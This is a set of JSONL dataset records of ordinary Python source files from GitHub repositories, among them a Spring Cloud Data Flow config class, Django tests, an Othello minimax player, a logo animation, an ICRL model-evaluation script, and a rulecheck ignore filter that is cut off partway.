+{"seq_id":"8219043454","text":"__copyright__ = '''\nCopyright 2022 the original author or authors.\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n      http://www.apache.org/licenses/LICENSE-2.0\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n'''\n\n__author__ = 'David Turanski'\n\nimport logging\nimport os\nimport json\n\nfrom cloudfoundry.platform.config.environment import EnvironmentAware\n\nlogger = logging.getLogger(__name__)\n\n\nclass ConfigurationProperties(EnvironmentAware):\n    \"\"\"\n    \"\"\"\n\n    @classmethod\n    def from_env_vars(cls, env=os.environ):\n        kwargs = cls.set_if_present(env, ConfigurationProperties().__dict__, converters={\n            'deploy_wait_sec': lambda x: int(x),\n            'max_retries': lambda x: int(x),\n            'maven_repos': lambda x: json.loads(x),\n            'task_services': lambda x: x.split(','),\n            'stream_services': lambda x: x.split(',')\n        })\n        config = ConfigurationProperties(**kwargs)\n        return config\n\n    def __init__(self,\n                 platform='tile',\n                 binder='rabbit',\n                 dataflow_version=None,\n                 skipper_version=None,\n                 dataflow_jar_path='./build/dataflow-server.jar',\n                 skipper_jar_path='./build/skipper-server.jar',\n                 deploy_wait_sec=20,\n                 max_retries=60,  # 20 min max wait time for a service or app to come up\n                 buildpack='java_buildpack_offline',\n                 maven_repos={'repo1': 'https://repo.spring.io/snapshot'},\n                 jbp_jre_version=\"{ jre: { version: 1.8.+ }}\",\n                 config_server_enabled=False,\n                 task_services=['mysql'],\n                 stream_services=['rabbit'],\n                 stream_apps_uri=None,\n                 task_apps_uri='https://dataflow.spring.io/task-maven-latest',\n                 cert_host=None,\n                 service_key_name='scdf_cf_setup'\n                 ):\n        self.platform = platform\n        self.binder = binder\n        self.dataflow_version = dataflow_version\n        self.skipper_version = skipper_version\n        self.dataflow_jar_path = dataflow_jar_path\n        self.skipper_jar_path = skipper_jar_path\n        self.deploy_wait_sec = deploy_wait_sec\n        self.max_retries = max_retries\n        self.buildpack = buildpack\n        self.maven_repos = maven_repos\n        self.jbp_jre_version = jbp_jre_version\n        self.config_server_enabled = config_server_enabled\n        self.task_services = task_services\n        self.stream_services = stream_services\n        self.task_apps_uri = task_apps_uri\n        self.stream_apps_uri = stream_apps_uri\n        self.cert_host = cert_host\n        self.service_key_name = service_key_name\n\n        if self.stream_apps_uri is None:\n            if self.binder == 'rabbit':\n                self.stream_apps_uri = 'https://dataflow.spring.io/rabbitmq-maven-latest'\n            elif self.binder == 'kafka':\n                self.stream_apps_uri = 'https://dataflow.spring.io/kafka-maven-latest'\n\n        if self.task_apps_uri is None:\n            self.task_apps_uri = 'https://dataflow.spring.io/task-maven-latest'\n","repo_name":"spring-cloud/spring-cloud-dataflow-acceptance-tests","sub_path":"scdf_cf_setup/src/cloudfoundry/platform/config/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":3525,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"51"}
+{"seq_id":"39685017050","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nThis file demonstrates two different styles of tests (one doctest and one\r\nunittest). These will both pass when you run \"manage.py test\".\r\n\r\nReplace these with more appropriate tests for your application.\r\n\"\"\"\r\n\r\nfrom django.test import TestCase\r\nfrom doc_trans.models import *\r\nimport time\r\n#class SimpleTest(TestCase):\r\n#    def test_basic_addition(self):\r\n#        \"\"\"\r\n#        Tests that 1 + 1 always equals 2.\r\n#        \"\"\"\r\n#        self.failUnlessEqual(1 + 1, 2)\r\n#\r\n#__test__ = {\"doctest\": \"\"\"\r\n#Another way to test that 1 + 1 is equal to 2.\r\n#\r\n#>>> 1 + 1 == 2\r\n#True\r\n#\"\"\"}\r\n\r\nclass TranslationTest(TestCase):\r\n    def setUp(self):\r\n        project = Project.objects.create(name='test_submit_translation', )\r\n        version = Version.objects.create(project = project, revision='1', )\r\n        test_page = Page.objects.create(project = project, path='test_page_path', current_version = version)\r\n        test_paragraph = Paragraph.objects.create(page = test_page, original='test_paragraph_original', current_version = version, ordinal = 1)\r\n        test_user = User.objects.create(username = 'test_user')\r\n        \r\n        \r\n    def test_submit_translation(self):\r\n        test_paragraph = Paragraph.objects.get(original='test_paragraph_original')\r\n        test_user = User.objects.get(username = 'test_user')\r\n        new_translation = Translation(paragraph = test_paragraph, history_translation = test_paragraph.latest_translation,\r\n                                          translator = test_user, content = u\"测试翻译提交\", ip = '')\r\n    \r\n    def test_modify_translation(self):\r\n        test_paragraph = Paragraph.objects.get(original='test_paragraph_original')\r\n        test_user = User.objects.get(username = 'test_user')\r\n        first_translation = Translation(paragraph = test_paragraph, history_translation = test_paragraph.latest_translation,\r\n                                          translator = test_user, content = u\"第一个翻译\", ip = '')\r\n        first_translation.save()\r\n        test_paragraph = Paragraph.objects.get(original='test_paragraph_original')\r\n        self.assertEqual(first_translation, test_paragraph.latest_translation)\r\n        \r\n        \r\n        time.sleep(1)\r\n        second_translation = Translation(paragraph = test_paragraph, history_translation = test_paragraph.latest_translation,\r\n                                          translator = test_user, content = u\"第二个翻译\", ip = '')\r\n        second_translation.save()\r\n        test_paragraph = Paragraph.objects.get(original='test_paragraph_original')\r\n        self.assertEqual(second_translation, test_paragraph.latest_translation)\r\n        self.assertEqual(first_translation, second_translation.history_translation)\r\n        \r\n    ","repo_name":"ZoomQuiet/openbookplatform","sub_path":"doc_trans/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"9535803834","text":"from myminimax import Minimax\n#from joueur import Joueur\nfrom ia2 import IA\n\nfrom copy import deepcopy\nfrom random import choice\n\nfrom config import log\nimport config as cfg\n\n\nclass BruteForce(IA): #a ete rajoute pour faire des tests, ne sera pas present a la fin du projet\n    def __init__(self,level=1):\n        self.level=level\n        self.advantage=[[ 9,-2, 1, 1, 1, 1,-2, 9],\n                        [-2,-2,-1,-1,-1,-1,-2,-2],\n                        [ 1,-1, 0, 0, 0, 0,-1, 1],\n                        [ 1,-1, 0, 0, 0, 0,-1, 1],\n                        [ 1,-1, 0, 0, 0, 0,-1, 1],\n                        [ 1,-1, 0, 0, 0, 0,-1, 1],\n                        [-2,-2,-1,-1,-1,-1,-2,-2],\n                        [ 9,-2, 1, 1, 1, 1,-2, 9]]\n        super().__init__()\n\n    def jouer(self,board,window):\n        #board.presenterPionsStables(window) #Pas encore au point\n        self.board=board\n        tree=self.treePlay(board.grille,self.cote)\n        log(\"[BruteForce]: arbre des possibilitees\",tree)\n        if self.container(tree):\n            minimax=Minimax(tree,start=0)\n            result=minimax()\n        else:\n            result=None\n        if result:\n            return board.mouvements[result]\n        else:\n            return choice(board.mouvements)\n\n\n    def treePlay(self,grid,cote,level=0):\n        if level>self.level:\n            return self.reward(grid,cote)\n        else:\n            tree=[]\n            self.board.grille=grid\n            moves=self.board.obtenirMouvementsValides(cote)\n            for move in moves:\n                sub_grid=deepcopy(grid)\n                x,y=move\n                self.board.grille=sub_grid\n                self.board.placerPion(move,cote)\n                tree.append(self.treePlay(self.board.grille,(cote+1)%2,level+1))\n            return tree\n\n    def reward(self,grid,cote):\n        result=self.evaluate(grid,cote)\n        return result\n\n    def evaluate(self,grid,cote):\n        return sum([sum([(int(grid[y][x]==self.cote)-int(grid[y][x]!=self.cote and grid[y][x]>=0))*self.advantage[y][x] for x in range(len(self.advantage[y]))]) for y in range(len(self.advantage))])\n\n    def container(self,tree):\n        if type(tree)!=list:\n            return True\n        else:\n            found=False\n            for element in tree:\n                if self.container(element):\n                    found=True\n                    break\n            return found\n","repo_name":"MarcPartensky/Python-Games","sub_path":"Othello/TIPE/bruteforce.py","file_name":"bruteforce.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"4014796724","text":"import os\nimport pytest\nfrom typing import Optional\nimport ipyvuetify\nfrom seeq import spy\nimport seeq.addons.correlation as correlation\nfrom . import test_common\n\nexample_data_url: Optional[str] = None\n\n\n@pytest.fixture(autouse=True, scope='session')\ndef setup_module():\n    test_common.set_environ_variables()\n    test_common.login(url=os.environ.get('seeq_url'),\n                      credentials_file=os.environ.get('credentials_file'),\n                      data_dir=os.environ.get('seeq_data_dir'))\n    wb = test_common.create_worksheet_for_tests()\n    global example_data_url\n    example_data_url = wb.worksheets[0].url\n    pkg_id = correlation.correlation_udfs(spy.client)\n    print(f\"DONE. Created UDF package with id: {pkg_id}\")\n\n\n@pytest.mark.backend\n@pytest.mark.integration\ndef test_create_worksheet():\n    df_pull = correlation.utils.pull_only_signals(example_data_url, grid='auto')\n    worksheet_url = correlation._create_worksheet(df_pull, df_pull.columns[0], max_time_shift='auto',\n                                                  metadata=None,\n                                                  worksheet='From Correlation Results', overwrite=True,\n                                                  new_condition=True)\n    worksheet_id = spy.utils.get_worksheet_id_from_url(worksheet_url)\n    assert spy.utils.is_guid(worksheet_id)\n\n\n@pytest.mark.backend\n@pytest.mark.integration\ndef test_create_correlation_udf_package():\n    test_common.delete_correlation_udfs()\n    print(\"\\n\\nCreating CrossCorrelation UDFs...\")\n    pkg_id = correlation.correlation_udfs(spy.client)\n    print(f\"DONE. Created UDF package with id: {pkg_id}\")\n\n\n@pytest.mark.backend\n@pytest.mark.integration\ndef test_create_worksheet_with_tracking_corr_signals():\n    df = spy.search(dict(Path=\"Example >> Cooling Tower 1 >> Area A\"))\n    df = df[(df['Name'] == 'Temperature') | (df['Name'] == 'Wet Bulb')]\n    ids = [(df['ID'].values[0], df['ID'].values[1])]\n\n    wb = spy.workbooks.Analysis({'Name': 'test_workbook'})\n    wb.worksheet('new')\n    spy.workbooks.push(wb, include_inventory=False, quiet=True)\n\n    correlation.worksheet_corrs_and_time_shifts(ids, wb.id, \"new_worksheet\",\n                                                '2021-04-27T22:30:37.837000Z', '2021-04-29T14:05:06.789000Z',\n                                                corr_coeff_signals=True, time_shifted_for_correlation=True,\n                                                window_size='24h', period='6h',\n                                                suffix='', time_shifts_signals=True, corr_thrs=0.7,\n                                                output_time_unit='min', max_time_shift='1h',\n                                                condition_id=None, overwrite=True, api_client=spy.client)\n\n\n@pytest.mark.frontend\n@pytest.mark.integration\ndef test_correlation_iu():\n    workbook = test_common.create_worksheet_for_tests()\n    worksheet = workbook.worksheets[0]\n    jupyter_notebook_url = f'http://seeq.com/data-lab/6AB49411-917E-44CC-BA19-5EE0F903100C/apps/deployment' \\\n                           f'/correlation_analysis_master.ipynb?workbookId={workbook.id}&worksheetId={worksheet.id}'\n    C = correlation.CorrelationHeatmap(sdl_notebook_url=jupyter_notebook_url)\n    assert isinstance(C.run(), ipyvuetify.generated.App)\n","repo_name":"seeq12/seeq-correlation","sub_path":"tests/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"51"}
+{"seq_id":"27684249289","text":"import numpy as np\n\nimport sys\nsys.path.insert(0, '../../tools')\nfrom rendering import *\nfrom geometry import *\n\n\nname = 'logo_spin'\nwidth, height = 1920, 1080\nduration = 3\n\ncx = width/2\ncy = height/2\nr = 0.4 * height\nn_points = 480\n\n\ndef arc_coords(start, end, n_points=n_points, radius=r, center=(cx,cy)):\n    angles = np.linspace(start, end, n_points, endpoint=True)\n    X = np.cos(angles) * radius + center[0]\n    Y = -np.sin(angles) * radius + center[1]\n    return np.stack([X,Y], axis=-1)\n\ndef draw_arc(start, end, surface, n_points=n_points, radius=r, center=(cx,cy), c_start=0, c_end=1):\n    points = arc_coords(start, end, n_points, r, center)\n    for i in range(n_points-1):\n        color = [c_start + (c_end - c_start) * i/(n_points-1)]*3\n        gz.polyline(points=[center, points[i], points[i+1]],\n                    stroke=color, stroke_width=1, line_cap='round',\n                    fill=color).draw(surface)\n\n\n# Times for stage transitions\nts = [0.09, 0.29, 0.42, 0.55, 0.75]\n\n\n# Render frame at time t\ndef make_frame(t):\n    surface = gz.Surface(width, height)\n    progress = t / duration\n\n    # Show logo\n    if 0.00 <= progress < ts[0]:\n        # back\n        draw_arc(0, np.pi, surface, center=(cx - r/2, cy), c_start=0, c_end=.5)\n        draw_arc(np.pi, 2*np.pi, surface, center=(cx + r/2, cy), c_start=0, c_end=.5)\n\n        # front\n        draw_arc(np.pi, 2*np.pi, surface, center=(cx - r/2, cy), c_start=.5, c_end=1)\n        draw_arc(0, np.pi, surface, center=(cx + r/2, cy), c_start=.5, c_end=1)\n\n    # stage 1 - circles pull back 360° into middle line\n    if ts[0] <= progress < ts[1]:\n        p = interval_progress(progress, (ts[0], ts[1]), 'ease_in')\n\n        if p < 0.5:\n            # retracting back\n            draw_arc(2*p * np.pi, np.pi, surface, center=(cx - r/2, cy), c_start=0, c_end=.5)\n            draw_arc((1 + 2*p) * np.pi, 2*np.pi, surface, center=(cx + r/2, cy), c_start=0, c_end=.5)\n\n            # static front\n            draw_arc(np.pi, 2*np.pi, surface, center=(cx - r/2, cy), c_start=.5, c_end=1)\n            draw_arc(0, np.pi, surface, center=(cx + r/2, cy), c_start=.5, c_end=1)\n\n        else:\n            # only retracting front\n            p_ = p - 0.5\n            draw_arc((1 + 2*p_) * np.pi, 2*np.pi, surface, center=(cx - r/2, cy), c_start=.5, c_end=1)\n            draw_arc(2*p_ * np.pi, np.pi, surface, center=(cx + r/2, cy), c_start=.5, c_end=1)\n\n    # stage 2 - line keeps momentum, rotates 180° and stretches to 2r\n    if ts[1] <= progress < ts[2]:\n        p = interval_progress(progress, (ts[1], ts[2]), 'none')\n\n        gz.polyline(points=[(cx - (1+p)*r/2, cy), (cx + (1+p)*r/2, cy)],\n                    stroke=(1,1,1), stroke_width=2, line_cap='round').rotate(-p*np.pi, center=(cx,cy)).draw(surface)\n\n    # stage 3 - line rotates 180° into shaded circle\n    if ts[2] <= progress < ts[3]:\n        p = interval_progress(progress, (ts[2], ts[3]), 'none')\n\n        draw_arc(0, p * np.pi, surface, center=(cx, cy), c_start=0, c_end=1)\n        draw_arc(np.pi, (p+1) * np.pi, surface, center=(cx, cy), c_start=0, c_end=1)\n\n    # stage 4 - circle rotates on 180° and gets to min 50% opacity\n    if ts[3] <= progress < ts[4]:\n        p = interval_progress(progress, (ts[3], ts[4]), 'ease_out')\n\n        draw_arc(p * np.pi, (p+1) * np.pi, surface, center=(cx, cy), c_start=0.5*p, c_end=1)\n        draw_arc((p+1) * np.pi, (p+2) * np.pi, surface, center=(cx, cy), c_start=0.5*p, c_end=1)\n\n    # stage 5 - circle halves phase apart\n    if ts[4] <= progress < 1.00:\n        p = interval_progress(progress, (ts[4], 1.00), 'hermite')\n\n        # back\n        draw_arc(0, np.pi, surface, center=(cx - p*r/2, cy), c_start=0, c_end=.5)\n        draw_arc(np.pi, 2*np.pi, surface, center=(cx + p*r/2, cy), c_start=0, c_end=.5)\n\n        # front\n        draw_arc(np.pi, 2*np.pi, surface, center=(cx - p*r/2, cy), c_start=.5, c_end=1)\n        draw_arc(0, np.pi, surface, center=(cx + p*r/2, cy), c_start=.5, c_end=1)\n\n\n    return surface.get_npimage()\n\n\n# Render animation\nif __name__ == '__main__':\n    save_poster(name, make_frame)\n    render_webm(name, make_frame, duration, webm_params)\n    convert_to_mp4(name, mp4_params)\n","repo_name":"wapu/animations","sub_path":"pieces/copresence/logo_spin.py","file_name":"logo_spin.py","file_ext":"py","file_size_in_byte":4168,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"51"}
+{"seq_id":"11885728610","text":"import json\r\nimport logging\r\nimport os\r\nimport pickle\r\nimport time\r\nfrom typing import Union, Callable\r\n\r\nimport torch\r\nfrom PIL import Image\r\nimport gym\r\nimport numpy as np\r\nimport yaml\r\nfrom gym import Env\r\n\r\nfrom common.cns_config import get_cns_config\r\nfrom common.cns_env import make_env\r\nfrom common.cns_evaluation import evaluate_with_synthetic_data, evaluate_meicrl_cns\r\nfrom common.cns_visualization import constraint_visualization_1d\r\nfrom models.constraint_net.info_constraint_net import InfoConstraintNet\r\nfrom models.constraint_net.mixture_constraint_net import MixtureConstraintNet\r\nfrom models.constraint_net.variational_constraint_net import VariationalConstraintNet\r\nfrom cirl_stable_baselines3.common.vec_env import VecNormalize, DummyVecEnv\r\nfrom cirl_stable_baselines3 import PPOLagrangian\r\nfrom models.constraint_net.constraint_net import ConstraintNet\r\nfrom commonroad_environment.commonroad_rl.gym_commonroad.commonroad_env import CommonroadEnv\r\n\r\nfrom utils.data_utils import load_config, read_args, save_game_record, load_expert_data\r\n\r\n# def make_env(env_id, seed,  , info_keywords=()):\r\n#     log_dir = 'icrl/test_log'\r\n#\r\n#     logging_path = 'icrl/test_log'\r\n#\r\n#     if log_dir is not None:\r\n#         os.makedirs(log_dir, exist_ok=True)\r\n#\r\n#     def _init():\r\n#         env = gym.make(env_id, logging_path=logging_path, **env_kwargs)\r\n#         rank = 0\r\n#         env.seed(seed + rank)\r\n#         log_file = os.path.join(log_dir, str(rank)) if log_dir is not None else None\r\n#         env = Monitor(env, log_file, info_keywords=info_keywords)\r\n#         return env\r\n#\r\n#     return _init\r\nfrom utils.env_utils import is_commonroad, is_mujoco, get_all_env_ids, get_benchmark_ids\r\nfrom utils.plot_utils import pngs2gif\r\n\r\n\r\nclass CommonRoadVecEnv(DummyVecEnv):\r\n    def __init__(self, env_fns):\r\n        super().__init__(env_fns)\r\n        self.on_reset = None\r\n        self.start_times = np.array([])\r\n\r\n    def set_on_reset(self, on_reset_callback: Callable[[Env, float], None]):\r\n        self.on_reset = on_reset_callback\r\n\r\n    def reset(self):\r\n        self.start_times = np.array([time.time()] * self.num_envs)\r\n        return super().reset()\r\n\r\n    def reset_benchmark(self, benchmark_ids):\r\n        self.start_times = np.array([time.time()] * self.num_envs)\r\n        return super().reset_benchmark(benchmark_ids)\r\n\r\n    def step_wait(self):\r\n        out_of_scenarios = False\r\n        for env_idx in range(self.num_envs):\r\n            (obs, self.buf_rews[env_idx], self.buf_dones[env_idx], self.buf_infos[env_idx],) = self.envs[env_idx].step(\r\n                self.actions[env_idx])\r\n            if self.buf_dones[env_idx]:\r\n                # save final observation where user can get it, then reset\r\n                self.buf_infos[env_idx][\"terminal_observation\"] = obs\r\n\r\n                # Callback\r\n                # elapsed_time = time.time() - self.start_times[env_idx]\r\n                # self.on_reset(self.envs[env_idx], elapsed_time)\r\n                # self.start_times[env_idx] = time.time()\r\n\r\n                # If one of the environments doesn't have anymore scenarios it will throw an Exception on reset()\r\n                try:\r\n                    obs = self.envs[env_idx].reset()\r\n                except IndexError:\r\n                    out_of_scenarios = True\r\n            self._save_obs(env_idx, obs)\r\n            self.buf_infos[env_idx][\"out_of_scenarios\"] = out_of_scenarios\r\n        return self._obs_from_buf(), np.copy(self.buf_rews), np.copy(self.buf_dones), self.buf_infos.copy()\r\n\r\n\r\nLOGGER = logging.getLogger(__name__)\r\n\r\n\r\ndef create_environments(env_id: str, viz_path: str, test_path: str, model_path: str, group: str, num_threads: int = 1,\r\n                        normalize=True, env_kwargs=None, testing_env=False, part_data=False) -> CommonRoadVecEnv:\r\n    \"\"\"\r\n    Create CommonRoad vectorized environment\r\n    \"\"\"\r\n    if is_commonroad(env_id):\r\n        if viz_path is not None:\r\n            env_kwargs.update({\"visualization_path\": viz_path})\r\n        if testing_env:\r\n            env_kwargs.update({\"play\": False})\r\n            env_kwargs[\"test_env\"] = True\r\n        multi_env = True if num_threads > 1 else False\r\n        if multi_env and is_commonroad(env_id=env_id):\r\n            env_kwargs['train_reset_config_path'] += '_split'\r\n        if part_data and is_commonroad(env_id=env_id):\r\n            env_kwargs['train_reset_config_path'] += '_debug'\r\n            env_kwargs['test_reset_config_path'] += '_debug'\r\n            env_kwargs['meta_scenario_path'] += '_debug'\r\n\r\n    # Create environment\r\n    envs = [make_env(env_id=env_id,\r\n                     env_configs=env_kwargs,\r\n                     rank=i,\r\n                     log_dir=test_path,\r\n                     multi_env=True if num_threads > 1 else False,\r\n                     group=group,\r\n                     seed=0)\r\n            for i in range(num_threads)]\r\n    env = CommonRoadVecEnv(envs)\r\n\r\n    # def on_reset_callback(env: Union[Env, CommonroadEnv], elapsed_time: float):\r\n    #     # reset callback called before resetting the env\r\n    #     if env.observation_dict[\"is_goal_reached\"][-1]:\r\n    #         LOGGER.info(\"Goal reached\")\r\n    #     else:\r\n    #         LOGGER.info(\"Goal not reached\")\r\n    #     # env.render()\r\n    #\r\n    # env.set_on_reset(on_reset_callback)\r\n    if normalize:\r\n        LOGGER.info(\"Loading saved running average\")\r\n        vec_normalize_path = os.path.join(model_path, \"train_env_stats.pkl\")\r\n        if os.path.exists(vec_normalize_path):\r\n            env = VecNormalize.load(vec_normalize_path, env)\r\n            print(\"Loading vecnormalize.pkl from {0}\".format(model_path))\r\n        else:\r\n            raise FileNotFoundError(\"vecnormalize.pkl not found in {0}\".format(model_path))\r\n        # env = VecNormalize(env, norm_obs=True, norm_reward=False)\r\n\r\n    return env\r\n\r\n\r\ndef load_model(model_path: str, iter_msg: str, log_file, device: str, group: str, **config):\r\n    if iter_msg == 'best':\r\n        ppo_model_path = os.path.join(model_path, \"best_nominal_model\")\r\n        cns_model_path = os.path.join(model_path, \"best_constraint_net_model\")\r\n    else:\r\n        ppo_model_path = os.path.join(model_path, 'model_{0}_itrs'.format(iter_msg), 'nominal_agent')\r\n        cns_model_path = os.path.join(model_path, 'model_{0}_itrs'.format(iter_msg), 'constraint_net')\r\n    print('Loading ppo model from {0}'.format(ppo_model_path), flush=True, file=log_file)\r\n    print('Loading cns model from {0}'.format(cns_model_path), flush=True, file=log_file)\r\n    ppo_model = PPOLagrangian.load(ppo_model_path, device=device, **config)\r\n    if group == 'ICRL' or group == 'Binary':\r\n        cns_model = ConstraintNet.load(cns_model_path, device=device, **config)\r\n    elif group == 'VICRL':\r\n        cns_model = VariationalConstraintNet.load(cns_model_path, device=device, **config)\r\n    elif group == 'MEICRL':\r\n        cns_model = MixtureConstraintNet.load(cns_model_path, device=device, **config)\r\n    elif group == 'PPO' or group == 'PPO-Lag':\r\n        cns_model = None\r\n    else:\r\n        raise ValueError(\"Unknown group: {0}\".format(group))\r\n    return ppo_model, cns_model\r\n\r\n\r\ndef evaluate():\r\n    # config, debug_mode, log_file_path = load_config(args)\r\n\r\n    # if log_file_path is not None:\r\n    #     log_file = open(log_file_path, 'w')\r\n    # else:\r\n    debug_mode = True\r\n    log_file = None\r\n    num_threads = 1\r\n    if_testing_env = False\r\n\r\n    load_model_name = 'train_MEICRL_HCWithPos-v0-multi_env-Aug-01-2022-19:24-seed_123/'\r\n    task_name = 'MEICRL_HCWithPos-v0'\r\n    iteration_msg = 250\r\n\r\n    model_loading_path = os.path.join('../save_model', task_name, load_model_name)\r\n    with open(os.path.join(model_loading_path, 'model_hyperparameters.yaml')) as reader:\r\n        config = yaml.safe_load(reader)\r\n    config[\"device\"] = 'cpu'\r\n    print(json.dumps(config, indent=4), file=log_file, flush=True)\r\n\r\n    evaluation_path = os.path.join('../evaluate_model', config['task'], load_model_name)\r\n    if not os.path.exists(os.path.join('../evaluate_model', config['task'])):\r\n        os.mkdir(os.path.join('../evaluate_model', config['task']))\r\n    if not os.path.exists(evaluation_path):\r\n        os.mkdir(evaluation_path)\r\n    viz_path = evaluation_path\r\n    if not os.path.exists(viz_path):\r\n        os.mkdir(viz_path)\r\n\r\n    if iteration_msg == 'best':\r\n        env_stats_loading_path = model_loading_path\r\n    else:\r\n        env_stats_loading_path = os.path.join(model_loading_path, 'model_{0}_itrs'.format(iteration_msg))\r\n    if config['env']['config_path'] is not None:\r\n        with open(config['env']['config_path'], \"r\") as config_file:\r\n            env_configs = yaml.safe_load(config_file)\r\n    else:\r\n        env_configs = {}\r\n    env = create_environments(env_id=config['env']['train_env_id'],\r\n                              viz_path=viz_path,\r\n                              test_path=evaluation_path,\r\n                              model_path=env_stats_loading_path,\r\n                              group=config['group'],\r\n                              num_threads=num_threads,\r\n                              normalize=not config['env']['dont_normalize_obs'],\r\n                              env_kwargs=env_configs,\r\n                              testing_env=if_testing_env,\r\n                              part_data=debug_mode)\r\n    # Load expert data\r\n    (expert_obs, expert_acs, expert_rs, expert_cs), expert_mean_reward = load_expert_data(\r\n        expert_path=config['running']['expert_path'].replace('expert_data/', 'expert_data/debug_') if debug_mode else\r\n        config['running']['expert_path'],\r\n        num_rollouts=config['running']['expert_rollouts'],\r\n        store_by_game=config['running']['store_by_game'],\r\n        add_latent_code=True,\r\n        log_file=log_file\r\n    )\r\n    cn_parameters = get_cns_config(config=config,\r\n                                   train_env=env,\r\n                                   expert_obs=expert_obs,\r\n                                   expert_acs=expert_acs,\r\n                                   log_file=log_file)\r\n    if 'InfoICRL' == config['group']:\r\n        cn_parameters.update({'latent_dim': config['CN']['latent_dim'], })\r\n        constraint_net = InfoConstraintNet(**cn_parameters)\r\n    elif 'MEICRL' == config['group']:\r\n        cn_parameters.update({'latent_dim': config['CN']['latent_dim'], })\r\n        cn_parameters.update({'max_seq_length': config['running']['max_seq_length'], })\r\n        constraint_net = MixtureConstraintNet(**cn_parameters)\r\n    else:\r\n        raise ValueError(\"Unknown group: {0}\".format(config['group']))\r\n    if str(iteration_msg) == 'best':\r\n        cns_model_path = os.path.join(model_loading_path, \"best_constraint_net_model\")\r\n    else:\r\n        cns_model_path = os.path.join(model_loading_path, 'model_{0}_itrs'.format(str(iteration_msg)), 'constraint_net')\r\n    print('Loading cns model from {0}'.format(cns_model_path), flush=True, file=log_file)\r\n    state_dict = torch.load(cns_model_path)\r\n    constraint_net.constraint_functions.load_state_dict(state_dict[\"cn_network\"])\r\n    evaluate_meicrl_cns(\r\n        cns_model=constraint_net\r\n    )\r\n\r\nif __name__ == '__main__':\r\n    # args = read_args()\r\n    evaluate()\r\n","repo_name":"qiaoguanren/Multi-Modal-Inverse-Constrained-Reinforcement-Learning","sub_path":"interface/evaluate_constraint_models.py","file_name":"evaluate_constraint_models.py","file_ext":"py","file_size_in_byte":11217,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"23777086037","text":"from decimal import Decimal\nimport hashlib\nimport pathlib\nimport string\nimport traceback\nimport typing\n\n# Local imports\nfrom rulecheck.rule import LogType\n\n#pylint: disable=missing-function-docstring\n#pylint: disable=too-many-arguments\n#pylint: disable=too-many-instance-attributes\n\ndef get_ignore_hash(file_name:str,\n                    source_line:str, use_leading_whitespace:bool,\n                    log_type_name:str,\n                    rule_name:str):\n\n    file_name_posix = str(pathlib.Path(file_name).as_posix())\n\n    if source_line:\n        if not use_leading_whitespace:\n            source_line = source_line.lstrip()\n        hash_input = file_name_posix + rule_name + log_type_name + source_line\n        ignore_hash = hashlib.md5((hash_input).encode('utf-8')).hexdigest()\n    else:\n        hash_input = file_name_posix + rule_name + log_type_name\n        ignore_hash = hashlib.md5((hash_input).encode('utf-8')).hexdigest()\n\n    return ignore_hash\n\nclass IgnoreFilter:\n    \"\"\" Used to filter log messages. \"\"\"\n    def __init__(self, ignore_list_file_handle:typing.TextIO, verbose:bool):\n        self._ignore_list_file_handle = ignore_list_file_handle\n        self._rule_ignores = {}\n        self._verbose = verbose\n\n    def print_verbose(self, message:str):\n        if self._verbose:\n            print(message)\n\n\n    def init_filter(self, file_name:str):\n        self._rule_ignores.clear()\n\n        try:\n            if self._ignore_list_file_handle:\n                self._ignore_list_file_handle.seek(0)\n                for line in self._ignore_list_file_handle:\n                    entry = IgnoreFileEntry(line)\n\n                    if entry.is_valid() and \\\n                       str( pathlib.Path(entry.get_file_name()).as_posix() ) == \\\n                       str(pathlib.Path(file_name).as_posix()):\n                        rule_name = entry.get_rule_name()\n                        if rule_name not in self._rule_ignores:\n                            self._rule_ignores[rule_name] = []\n\n                        self._rule_ignores[rule_name].append(IgnoreEntry(entry.get_hash(),\n                                                                         entry.get_line_num(),\n                                                                         entry.get_line_num()))\n\n        except Exception as exc:  #pylint: disable=broad-except\n            print(\"Failure while checking ignore list. Run with verbose mode for more information.\")\n            self.print_verbose(\"Exception on parsing ignore list: \" + str(exc))\n            self.print_verbose(traceback.format_exc())\n\n    def disable(self, rule_name:str, line_num:int):\n        if rule_name not in self._rule_ignores:\n            self._rule_ignores[rule_name] = []\n\n        self._rule_ignores[rule_name].append(IgnoreEntry('*', line_num, line_num))\n\n    def is_filtered(self, rule_name:str, line_num:int, line_hash:hashlib.md5) -> bool:\n        \"\"\" Returns True if the violation should not be logged \"\"\"\n\n        if '*' in self._rule_ignores:\n            for ignore in self._rule_ignores['*']:\n                if ignore.is_active():\n                    if ignore.get_first() <= line_num <= ignore.get_last():\n                        if ignore.get_hash() == '*' or ignore.get_hash() == str(line_hash):\n                            ignore.mark_use()\n                            return True\n\n        if rule_name in self._rule_ignores:\n            for ignore in self._rule_ignores[rule_name]:\n                if ignore.is_active():\n                    if ignore.get_first() <= line_num <= ignore.get_last():\n                        if ignore.get_hash() == '*' or ignore.get_hash() == str(line_hash):\n                            ignore.mark_use()\n                            return True\n        return False\n\nclass IgnoreFileEntry:\n    \"\"\" Parses a line (string) into the members of an ignore entry from an ignore file.\n        Always check is_valid() before using any of the getters on the object.\n    \"\"\"\n    def __init__(self, line:str):\n        self._valid = False\n        self._line_num = -1\n        self._col_num = -1\n        self._hash = \"NOHASH\"\n\n        parts = line.split(sep=': ')\n\n        if len(parts) < 4:\n            return\n\n        # First value on line must be hash\n        hash_part = parts[0].strip()\n        if len(hash_part) == 32 and all(c in string.hexdigits for c in hash_part):\n            